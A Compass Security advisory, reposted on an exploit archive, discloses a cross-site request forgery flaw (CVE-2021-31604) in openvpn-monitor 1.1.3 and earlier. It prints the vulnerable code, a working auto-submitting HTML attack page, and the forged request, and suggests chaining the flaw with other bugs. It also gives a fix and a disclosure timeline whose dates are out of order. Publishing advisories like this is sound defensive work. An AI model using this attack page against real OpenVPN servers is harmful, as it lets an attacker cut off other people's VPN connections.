what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

OpenVPN Monitor 1.1.3 Cross Site Request Forgery

OpenVPN Monitor 1.1.3 Cross Site Request Forgery
Posted Sep 24, 2021
Authored by Sylvain Heiniger, Emanuel Duss

OpenVPN Monitor versions 1.1.3 and below suffer from a cross site request forgery vulnerability that allows an attacker to disconnect arbitrary VPN clients.

tags | exploit, arbitrary, csrf
advisories | CVE-2021-31604
SHA-256 | 1f3480045376cc0f2cd806ce155a2c7af1486e8d2504fc839a567a574a2ca25d

OpenVPN Monitor 1.1.3 Cross Site Request Forgery

Change Mirror Download
#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product: openvpn-monitor
# Vendor: https://github.com/furlongm/openvpn-monitor
# CSNC ID: CSNC-2021-011
# CVE ID: CVE-2021-31604
# Subject: Cross-Site Request Forgery (CSRF)
# Severity: Medium
# Effect: Denial of Service
# Author: Emanuel Duss <emanuel.duss@compass-security.com>
# Sylvain Heiniger <sylvain.heiniger@compass-security.com>
# Date: 2021-09-22
#
#############################################################

Introduction
------------

openvpn-monitor is a simple Python program to generate HTML that displays the
status of an OpenVPN server, including all current connections. It uses the
OpenVPN management console. It typically runs on the same host as the OpenVPN
server. [0][1]

During a customer project, several security vulnerabilities were discovered in
this software.

This advisory describes an a CSRF vulnerability which allows an attacker to
disconnect arbitrary VPN clients.


Affected
--------

- Vulnerable: openvpn-monitor <= 1.1.3
- Not vulnerable: none

The vulnerability is already fixed in the source code [3], but there is no new
release which contains the fix. Therefore, all currently available releases
contain this vulnerability.


Technical Description
---------------------

The client disconnect feature does not require a CSRF token:

[CUT BY COMPASS]
@app.route('/', method='POST')
def post_slash():
vpn_id = request.forms.get('vpn_id')
ip = request.forms.get('ip')
port = request.forms.get('port')
client_id = request.forms.get('client_id')
return render(vpn_id=vpn_id, ip=ip, port=port, client_id=client_id)
[CUT BY COMPASS]


An attacker can create the following CSRF attack page:

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://openvpn-monitor.example.net/" method="POST">
<input type="hidden" name="vpn_id" value="UDP" />
<input type="hidden" name="ip" value="10.5.23.42" />
<input type="hidden" name="port" value="1194" />
<input type="hidden" name="client_id" value="5" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

When a victim with access to the openvpn-monitor application accesses this
attack page, the following HTTP request is automatically sent to the
openvpn-monitor application:

POST / HTTP/1.1
Host: openvpn-monitor.example.net
Content-Type: application/x-www-form-urlencoded
Origin: http://attacker.example.com
Referer: http://attacker.example.com/attackpage.html
[CUT BY COMPASS]

vpn_id=UDP&ip=10.5.23.42&port=1194&client_id=5

This will disconnect the client with the ID 5.

Knowing or guessing the `client_id` parameter is sufficient for an attacker.
It's not needed to know the exact values of the other parameters, since they
are only used on oder OpenVPN server versions:

[CUT BY COMPASS]
class OpenvpnMgmtInterface(object):

def __init__(self, cfg, **kwargs):
self.vpns = cfg.vpns

if kwargs.get('vpn_id'):
vpn = self.vpns[kwargs['vpn_id']]
self._socket_connect(vpn)
if vpn['socket_connected']:
release = self.send_command('version\n')
version = semver(self.parse_version(release).split(' ')[1])
if version.major == 2 and \
version.minor >= 4 and \
kwargs.get('client_id'):
command = 'client-kill {0!s}\n'.format(kwargs['client_id'])
else:
command = 'kill {0!s}:{1!s}\n'.format(kwargs['ip'], kwargs['port'])
self.send_command(command)
self._socket_disconnect()
[CUT BY COMPASS]

This attack can even be performed if the client disconnect feature is disabled
because of the authorization bypass vulnerability (CVE-2021-31606) and be
combined with the management socket command injection vulnerability
(CVE-2021-31604) to send arbitrary commands via a CSRF attack page to the
OpenVPN server management interface socket. This would then have a much higher
severity.


Vulnerability Classification
----------------------------

CVSS v3.1 Metrics [2]:

* CVSS Base Score: 4.7
* CVSS Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:L


Workaround / Fix
----------------

# openvpn-monitor Vendor

Each non-idempotent request must contain an additional token that cannot be
predicted by the attacker. When receiving a request, the server needs to
validate the token. If the token is incorrect, missing, or does not match the
user's session, the request should be dropped.

# openvpn-monitor Users

Since there is no CSRF protection implemented at the moment, a possible
workaround would be to add HTTP Basic Authentication e.g. via a reverse proxy
using a strong password. An attacker could therefore not perform CSRF attacks
anymore, because the password (which is unknown to the attacker) would have to
be sent in the HTTP request header.


Timeline
--------

2021-05-05: Vulnerability discovered
2021-04-20: Requested CVE ID @ MITRE
2021-04-20: Contacted vendor
2021-04-22: Sent details via email to vendor
2021-04-24: Vendor confirmed and already started to work on a fix
2021-09-08: Asked vendor for updates
2021-09-08: Vendor told it's planned to fix the CSRF issue
but it's also OK to already publish the advisory
2021-09-22: Public disclosure


References
----------

[0] http://openvpn-monitor.openbytes.ie/
[1] https://github.com/furlongm/openvpn-monitor
[2] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:L&version=3.1


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close